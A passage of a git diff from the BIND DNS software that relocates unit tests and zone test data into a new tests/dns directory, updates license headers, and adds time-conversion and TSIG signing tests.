+	isc_stdtime_t now = isc_stdtime_now();
 	size_t i;
 
 	UNUSED(state);
@@ -309,12 +312,11 @@ updatesigs_next_test(void **state) {
 				 "testdata/master/master18.data");
 	assert_int_equal(result, DNS_R_SEENINCLUDE);
 
-	result = dns_zone_setkeydirectory(zone, "testkeys");
+	result = dns_zone_setkeydirectory(zone, TESTS_DIR "/testkeys");
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	isc_stdtime_get(&now);
-	result = dns__zone_findkeys(zone, db, NULL, now, dt_mctx,
-				    DNS_MAXZONEKEYS, zone_keys, &nkeys);
+	result = dns__zone_findkeys(zone, db, NULL, now, mctx, DNS_MAXZONEKEYS,
+				    zone_keys, &nkeys);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(nkeys, 2);
 
@@ -437,24 +439,8 @@ updatesigs_next_test(void **state) {
 	dns_zone_detach(&zone);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(updatesigs_next_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(updatesigs_next, setup_test, teardown_test)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/dns/testdata/db/data.db b/tests/dns/testdata/db/data.db
new file mode 100644
index 0000000000..67a4fbaafd
--- /dev/null
+++ b/tests/dns/testdata/db/data.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 1000
+@		in	soa	localhost. postmaster.localhost. (
+				1993050801	;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				3600 )		;minimum
+a		in	ns	ns.vix.com.
+a		in	ns	ns2.vix.com.
+a		in	ns	ns3.vix.com.
+b		in	a	1.2.3.4
diff --git a/tests/dns/testdata/dbiterator/zone1.data b/tests/dns/testdata/dbiterator/zone1.data
new file mode 100644
index 0000000000..c380d39cdd
--- /dev/null
+++ b/tests/dns/testdata/dbiterator/zone1.data
@@ -0,0 +1,30 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@		in	soa	localhost. postmaster.localhost. (
+				2011080901	;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				600 )		;minimum
+ 		in	ns	ns
+ 		in	ns	ns2
+ns		in	a	10.0.0.1
+ns2		in	a	10.0.0.2
+
+a		in	txt	"test"
+b		in	txt	"test"
+c		in	txt	"test"
+d.e.f		in	txt	"test"
+e		in	txt	"test"
+f.g.h		in	txt	"test"
+f.g.i		in	txt	"test"
+f.g.j		in	txt	"test"
+k		in	txt	"test"
diff --git a/lib/dns/tests/testdata/dbiterator/zone2.data b/tests/dns/testdata/dbiterator/zone2.data
similarity index 100%
rename from lib/dns/tests/testdata/dbiterator/zone2.data
rename to tests/dns/testdata/dbiterator/zone2.data
diff --git a/tests/dns/testdata/diff/zone1.data b/tests/dns/testdata/diff/zone1.data
new file mode 100644
index 0000000000..8ddf669798
--- /dev/null
+++ b/tests/dns/testdata/diff/zone1.data
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 	0	SOA . . 0 0 0 0 0
+@	0	NS @
+@	0	A 1.2.3.4
+remove	0	A 5.6.7.8
diff --git a/lib/dns/tests/testdata/diff/zone2.data b/tests/dns/testdata/diff/zone2.data
similarity index 86%
rename from lib/dns/tests/testdata/diff/zone2.data
rename to tests/dns/testdata/diff/zone2.data
index d57d58671c..363af42154 100644
--- a/lib/dns/tests/testdata/diff/zone2.data
+++ b/tests/dns/testdata/diff/zone2.data
@@ -2,7 +2,7 @@
 ;
 ; This Source Code Form is subject to the terms of the Mozilla Public
 ; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/diff/zone3.data b/tests/dns/testdata/diff/zone3.data
similarity index 85%
rename from lib/dns/tests/testdata/diff/zone3.data
rename to tests/dns/testdata/diff/zone3.data
index 65f12dd37f..ae3a60e4bd 100644
--- a/lib/dns/tests/testdata/diff/zone3.data
+++ b/tests/dns/testdata/diff/zone3.data
@@ -2,7 +2,7 @@
 ;
 ; This Source Code Form is subject to the terms of the Mozilla Public
 ; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/dnstap/dnstap.saved b/tests/dns/testdata/dnstap/dnstap.saved
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/dnstap.saved
rename to tests/dns/testdata/dnstap/dnstap.saved
diff --git a/lib/dns/tests/testdata/dnstap/dnstap.text b/tests/dns/testdata/dnstap/dnstap.text
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/dnstap.text
rename to tests/dns/testdata/dnstap/dnstap.text
diff --git a/lib/dns/tests/testdata/dnstap/query.auth b/tests/dns/testdata/dnstap/query.auth
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/query.auth
rename to tests/dns/testdata/dnstap/query.auth
diff --git a/lib/dns/tests/testdata/dnstap/query.recursive b/tests/dns/testdata/dnstap/query.recursive
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/query.recursive
rename to tests/dns/testdata/dnstap/query.recursive
diff --git a/lib/dns/tests/testdata/dnstap/response.auth b/tests/dns/testdata/dnstap/response.auth
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/response.auth
rename to tests/dns/testdata/dnstap/response.auth
diff --git a/lib/dns/tests/testdata/dnstap/response.recursive b/tests/dns/testdata/dnstap/response.recursive
similarity index 100%
rename from lib/dns/tests/testdata/dnstap/response.recursive
rename to tests/dns/testdata/dnstap/response.recursive
diff --git a/lib/dns/tests/testdata/dst/Ktest.+008+11349.key b/tests/dns/testdata/dst/Ktest.+008+11349.key
similarity index 100%
rename from lib/dns/tests/testdata/dst/Ktest.+008+11349.key
rename to tests/dns/testdata/dst/Ktest.+008+11349.key
diff --git a/lib/dns/tests/testdata/dst/Ktest.+008+11349.private b/tests/dns/testdata/dst/Ktest.+008+11349.private
similarity index 100%
rename from lib/dns/tests/testdata/dst/Ktest.+008+11349.private
rename to tests/dns/testdata/dst/Ktest.+008+11349.private
diff --git a/lib/dns/tests/testdata/dst/Ktest.+013+49130.key b/tests/dns/testdata/dst/Ktest.+013+49130.key
similarity index 100%
rename from lib/dns/tests/testdata/dst/Ktest.+013+49130.key
rename to tests/dns/testdata/dst/Ktest.+013+49130.key
diff --git a/lib/dns/tests/testdata/dst/Ktest.+013+49130.private b/tests/dns/testdata/dst/Ktest.+013+49130.private
similarity index 100%
rename from lib/dns/tests/testdata/dst/Ktest.+013+49130.private
rename to tests/dns/testdata/dst/Ktest.+013+49130.private
diff --git a/lib/dns/tests/testdata/dst/test1.data b/tests/dns/testdata/dst/test1.data
similarity index 100%
rename from lib/dns/tests/testdata/dst/test1.data
rename to tests/dns/testdata/dst/test1.data
diff --git a/lib/dns/tests/testdata/dst/test1.ecdsa256sig b/tests/dns/testdata/dst/test1.ecdsa256sig
similarity index 100%
rename from lib/dns/tests/testdata/dst/test1.ecdsa256sig
rename to tests/dns/testdata/dst/test1.ecdsa256sig
diff --git a/lib/dns/tests/testdata/dst/test1.rsasha256sig b/tests/dns/testdata/dst/test1.rsasha256sig
similarity index 100%
rename from lib/dns/tests/testdata/dst/test1.rsasha256sig
rename to tests/dns/testdata/dst/test1.rsasha256sig
diff --git a/lib/dns/tests/testdata/dst/test2.data b/tests/dns/testdata/dst/test2.data
similarity index 100%
rename from lib/dns/tests/testdata/dst/test2.data
rename to tests/dns/testdata/dst/test2.data
diff --git a/lib/dns/tests/testdata/dstrandom/random.data b/tests/dns/testdata/dstrandom/random.data
similarity index 100%
rename from lib/dns/tests/testdata/dstrandom/random.data
rename to tests/dns/testdata/dstrandom/random.data
diff --git a/tests/dns/testdata/master/.gitignore b/tests/dns/testdata/master/.gitignore
new file mode 100644
index 0000000000..967ed19cbe
--- /dev/null
+++ b/tests/dns/testdata/master/.gitignore
@@ -0,0 +1,4 @@
+master12.data
+master13.data
+master14.data
+master18.data
diff --git a/lib/dns/tests/testdata/master/master1.data b/tests/dns/testdata/master/master1.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master1.data
rename to tests/dns/testdata/master/master1.data
diff --git a/lib/dns/tests/testdata/master/master10.data b/tests/dns/testdata/master/master10.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master10.data
rename to tests/dns/testdata/master/master10.data
diff --git a/lib/dns/tests/testdata/master/master11.data b/tests/dns/testdata/master/master11.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master11.data
rename to tests/dns/testdata/master/master11.data
diff --git a/lib/dns/tests/testdata/master/master12.data.in b/tests/dns/testdata/master/master12.data.in
similarity index 100%
rename from lib/dns/tests/testdata/master/master12.data.in
rename to tests/dns/testdata/master/master12.data.in
diff --git a/lib/dns/tests/testdata/master/master13.data.in b/tests/dns/testdata/master/master13.data.in
similarity index 100%
rename from lib/dns/tests/testdata/master/master13.data.in
rename to tests/dns/testdata/master/master13.data.in
diff --git a/lib/dns/tests/testdata/master/master14.data.in b/tests/dns/testdata/master/master14.data.in
similarity index 100%
rename from lib/dns/tests/testdata/master/master14.data.in
rename to tests/dns/testdata/master/master14.data.in
diff --git a/lib/dns/tests/testdata/master/master15.data b/tests/dns/testdata/master/master15.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master15.data
rename to tests/dns/testdata/master/master15.data
diff --git a/lib/dns/tests/testdata/master/master16.data b/tests/dns/testdata/master/master16.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master16.data
rename to tests/dns/testdata/master/master16.data
diff --git a/lib/dns/tests/testdata/master/master17.data b/tests/dns/testdata/master/master17.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master17.data
rename to tests/dns/testdata/master/master17.data
diff --git a/tests/dns/testdata/master/master18.data.in b/tests/dns/testdata/master/master18.data.in
new file mode 100644
index 0000000000..73c17ffd99
--- /dev/null
+++ b/tests/dns/testdata/master/master18.data.in
@@ -0,0 +1,10 @@
+$TTL 1000
+@		in	soa	localhost. postmaster.localhost. (
+				1993050801	;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				3600 )		;minimum
+
+$INCLUDE "@TOP_SRCDIR@/testkeys/Kexample.+008+20386.key";
+$INCLUDE "@TOP_SRCDIR@/testkeys/Kexample.+008+37464.key";
diff --git a/lib/dns/tests/testdata/master/master2.data b/tests/dns/testdata/master/master2.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master2.data
rename to tests/dns/testdata/master/master2.data
diff --git a/lib/dns/tests/testdata/master/master3.data b/tests/dns/testdata/master/master3.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master3.data
rename to tests/dns/testdata/master/master3.data
diff --git a/lib/dns/tests/testdata/master/master4.data b/tests/dns/testdata/master/master4.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master4.data
rename to tests/dns/testdata/master/master4.data
diff --git a/lib/dns/tests/testdata/master/master5.data b/tests/dns/testdata/master/master5.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master5.data
rename to tests/dns/testdata/master/master5.data
diff --git a/lib/dns/tests/testdata/master/master6.data b/tests/dns/testdata/master/master6.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master6.data
rename to tests/dns/testdata/master/master6.data
diff --git a/lib/dns/tests/testdata/master/master7.data b/tests/dns/testdata/master/master7.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master7.data
rename to tests/dns/testdata/master/master7.data
diff --git a/lib/dns/tests/testdata/master/master8.data b/tests/dns/testdata/master/master8.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master8.data
rename to tests/dns/testdata/master/master8.data
diff --git a/lib/dns/tests/testdata/master/master9.data b/tests/dns/testdata/master/master9.data
similarity index 100%
rename from lib/dns/tests/testdata/master/master9.data
rename to tests/dns/testdata/master/master9.data
diff --git a/lib/dns/tests/testdata/nsec3/1024.db b/tests/dns/testdata/nsec3/1024.db
similarity index 75%
rename from lib/dns/tests/testdata/nsec3/1024.db
rename to tests/dns/testdata/nsec3/1024.db
index 2e7f1821ac..2576328500 100644
--- a/lib/dns/tests/testdata/nsec3/1024.db
+++ b/tests/dns/testdata/nsec3/1024.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/nsec3/2048.db b/tests/dns/testdata/nsec3/2048.db
similarity index 80%
rename from lib/dns/tests/testdata/nsec3/2048.db
rename to tests/dns/testdata/nsec3/2048.db
index eed399af57..26dd980a5b 100644
--- a/lib/dns/tests/testdata/nsec3/2048.db
+++ b/tests/dns/testdata/nsec3/2048.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/nsec3/4096.db b/tests/dns/testdata/nsec3/4096.db
similarity index 85%
rename from lib/dns/tests/testdata/nsec3/4096.db
rename to tests/dns/testdata/nsec3/4096.db
index b5c8b7e464..d628c33dc9 100644
--- a/lib/dns/tests/testdata/nsec3/4096.db
+++ b/tests/dns/testdata/nsec3/4096.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/nsec3/min-1024.db b/tests/dns/testdata/nsec3/min-1024.db
similarity index 90%
rename from lib/dns/tests/testdata/nsec3/min-1024.db
rename to tests/dns/testdata/nsec3/min-1024.db
index 7d0f95c595..360c282b34 100644
--- a/lib/dns/tests/testdata/nsec3/min-1024.db
+++ b/tests/dns/testdata/nsec3/min-1024.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/nsec3/min-2048.db b/tests/dns/testdata/nsec3/min-2048.db
similarity index 89%
rename from lib/dns/tests/testdata/nsec3/min-2048.db
rename to tests/dns/testdata/nsec3/min-2048.db
index 027c0b9ba9..606264e428 100644
--- a/lib/dns/tests/testdata/nsec3/min-2048.db
+++ b/tests/dns/testdata/nsec3/min-2048.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/lib/dns/tests/testdata/nsec3param/nsec3.db.signed b/tests/dns/testdata/nsec3param/nsec3.db.signed
similarity index 100%
rename from lib/dns/tests/testdata/nsec3param/nsec3.db.signed
rename to tests/dns/testdata/nsec3param/nsec3.db.signed
diff --git a/tests/dns/testdata/zt/zone1.db b/tests/dns/testdata/zt/zone1.db
new file mode 100644
index 0000000000..85e79516c1
--- /dev/null
+++ b/tests/dns/testdata/zt/zone1.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 1000
+@		in	soa	localhost. postmaster.localhost. (
+				1993050801	;serial
+				3600		;refresh
+				1800		;retry
+				604800		;expiration
+				3600 )		;minimum
+		in	ns	ns.vix.com.
+		in	ns	ns2.vix.com.
+		in	ns	ns3.vix.com.
+a		in	a	1.2.3.4
diff --git a/lib/dns/tests/testkeys/Kexample.+008+20386.key b/tests/dns/testkeys/Kexample.+008+20386.key
similarity index 100%
rename from lib/dns/tests/testkeys/Kexample.+008+20386.key
rename to tests/dns/testkeys/Kexample.+008+20386.key
diff --git a/lib/dns/tests/testkeys/Kexample.+008+20386.private b/tests/dns/testkeys/Kexample.+008+20386.private
similarity index 100%
rename from lib/dns/tests/testkeys/Kexample.+008+20386.private
rename to tests/dns/testkeys/Kexample.+008+20386.private
diff --git a/lib/dns/tests/testkeys/Kexample.+008+37464.key b/tests/dns/testkeys/Kexample.+008+37464.key
similarity index 100%
rename from lib/dns/tests/testkeys/Kexample.+008+37464.key
rename to tests/dns/testkeys/Kexample.+008+37464.key
diff --git a/lib/dns/tests/testkeys/Kexample.+008+37464.private b/tests/dns/testkeys/Kexample.+008+37464.private
similarity index 100%
rename from lib/dns/tests/testkeys/Kexample.+008+37464.private
rename to tests/dns/testkeys/Kexample.+008+37464.private
diff --git a/tests/dns/time_test.c b/tests/dns/time_test.c
new file mode 100644
index 0000000000..f6e19481f4
--- /dev/null
+++ b/tests/dns/time_test.c
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/util.h>
+
+#include <dns/time.h>
+
+#include <tests/dns.h>
+
+#define TEST_ORIGIN "test"
+
+/* value = 0xfffffffff <-> 19691231235959 */
+ISC_RUN_TEST_IMPL(epoch_minus_one) {
+	const char *test_text = "19691231235959";
+	const uint32_t test_time = 0xffffffff;
+	isc_result_t result;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+/* value = 0x000000000 <-> 19700101000000*/
+ISC_RUN_TEST_IMPL(epoch) {
+	const char *test_text = "19700101000000";
+	const uint32_t test_time = 0x00000000;
+	isc_result_t result;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+/* value = 0x7fffffff <-> 20380119031407 */
+ISC_RUN_TEST_IMPL(half_maxint) {
+	const char *test_text = "20380119031407";
+	const uint32_t test_time = 0x7fffffff;
+	isc_result_t result;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+/* value = 0x80000000 <-> 20380119031408 */
+ISC_RUN_TEST_IMPL(half_plus_one) {
+	const char *test_text = "20380119031408";
+	const uint32_t test_time = 0x80000000;
+	isc_result_t result;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+/* value = 0xef68f5d0 <-> 19610307130000 */
+ISC_RUN_TEST_IMPL(fifty_before) {
+	isc_result_t result;
+	const char *test_text = "19610307130000";
+	const uint32_t test_time = 0xef68f5d0;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+/* value = 0x4d74d6d0 <-> 20110307130000 */
+ISC_RUN_TEST_IMPL(some_ago) {
+	const char *test_text = "20110307130000";
+	const uint32_t test_time = 0x4d74d6d0;
+	isc_result_t result;
+	isc_buffer_t target;
+	uint32_t when;
+	char buf[128];
+
+	UNUSED(state);
+
+	memset(buf, 0, sizeof(buf));
+	isc_buffer_init(&target, buf, sizeof(buf));
+	result = dns_time32_totext(test_time, &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_string_equal(buf, test_text);
+	result = dns_time32_fromtext(test_text, &when);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(when, test_time);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(epoch_minus_one)
+ISC_TEST_ENTRY(epoch)
+ISC_TEST_ENTRY(half_maxint)
+ISC_TEST_ENTRY(half_plus_one)
+ISC_TEST_ENTRY(fifty_before)
+ISC_TEST_ENTRY(some_ago)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/tsig_test.c b/tests/dns/tsig_test.c
new file mode 100644
index 0000000000..bab3156da7
--- /dev/null
+++ b/tests/dns/tsig_test.c
@@ -0,0 +1,493 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/mem.h>
+#include <isc/util.h>
+
+#include <dns/rdatalist.h>
+#include <dns/rdataset.h>
+#include <dns/tsig.h>
+
+#include "tsig_p.h"
+
+#include <tests/dns.h>
+
+#define TEST_ORIGIN "test"
+
+#define CHECK(r)                               \
+	{                                      \
+		result = (r);                  \
+		if (result != ISC_R_SUCCESS) { \
+			goto cleanup;          \
+		}                              \
+	}
+
+static int debug = 0;
+
+static int
+setup_test(void **state) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = dst_lib_init(mctx, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (1);
+	}
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	UNUSED(state);
+
+	dst_lib_destroy();
+
+	return (0);
+}
+
+static isc_result_t
+add_mac(dst_context_t *tsigctx, isc_buffer_t *buf) {
+	dns_rdata_any_tsig_t tsig;
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	isc_buffer_t databuf;
+	isc_region_t r;
+	isc_result_t result;
+	unsigned char tsigbuf[1024];
+
+	isc_buffer_usedregion(buf, &r);
+	dns_rdata_fromregion(&rdata, dns_rdataclass_any, dns_rdatatype_tsig,
+			     &r);
+	isc_buffer_init(&databuf, tsigbuf, sizeof(tsigbuf));
+	CHECK(dns_rdata_tostruct(&rdata, &tsig, NULL));
+	isc_buffer_putuint16(&databuf, tsig.siglen);
+	isc_buffer_putmem(&databuf, tsig.signature, tsig.siglen);
+	isc_buffer_usedregion(&databuf, &r);
+	result = dst_context_adddata(tsigctx, &r);
+	dns_rdata_freestruct(&tsig);
+cleanup:
+	return (result);
+}
+
+static isc_result_t
+add_tsig(dst_context_t *tsigctx, dns_tsigkey_t *key, isc_buffer_t *target) {
+	dns_compress_t cctx;
+	dns_rdata_any_tsig_t tsig;
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	dns_rdatalist_t rdatalist;
+	dns_rdataset_t rdataset;
+	isc_buffer_t *dynbuf = NULL;
+	isc_buffer_t databuf;
+	isc_buffer_t sigbuf;
+	isc_region_t r;
+	isc_result_t result = ISC_R_SUCCESS;
+	unsigned char tsigbuf[1024];
+	unsigned int count;
+	unsigned int sigsize = 0;
+
+	memset(&tsig, 0, sizeof(tsig));
+
+	dns_compress_init(&cctx, mctx, 0);
+
+	tsig.common.rdclass = dns_rdataclass_any;
+	tsig.common.rdtype = dns_rdatatype_tsig;
+	ISC_LINK_INIT(&tsig.common, link);
+	dns_name_init(&tsig.algorithm, NULL);
+	dns_name_clone(key->algorithm, &tsig.algorithm);
+
+	tsig.timesigned = isc_stdtime_now();
+	tsig.fudge = DNS_TSIG_FUDGE;
+	tsig.originalid = 50;
+	tsig.error = dns_rcode_noerror;
+	tsig.otherlen = 0;
+	tsig.other = NULL;
+
+	isc_buffer_init(&databuf, tsigbuf, sizeof(tsigbuf));
+	isc_buffer_putuint48(&databuf, tsig.timesigned);
+	isc_buffer_putuint16(&databuf, tsig.fudge);
+	isc_buffer_usedregion(&databuf, &r);
+	CHECK(dst_context_adddata(tsigctx, &r));
+
+	CHECK(dst_key_sigsize(key->key, &sigsize));
+	tsig.signature = isc_mem_get(mctx, sigsize);
+	isc_buffer_init(&sigbuf, tsig.signature, sigsize);
+	CHECK(dst_context_sign(tsigctx, &sigbuf));
+	tsig.siglen = isc_buffer_usedlength(&sigbuf);
+	assert_int_equal(sigsize, tsig.siglen);
+
+	isc_buffer_allocate(mctx, &dynbuf, 512);
+	CHECK(dns_rdata_fromstruct(&rdata, dns_rdataclass_any,
+				   dns_rdatatype_tsig, &tsig, dynbuf));
+	dns_rdatalist_init(&rdatalist);
+	rdatalist.rdclass = dns_rdataclass_any;
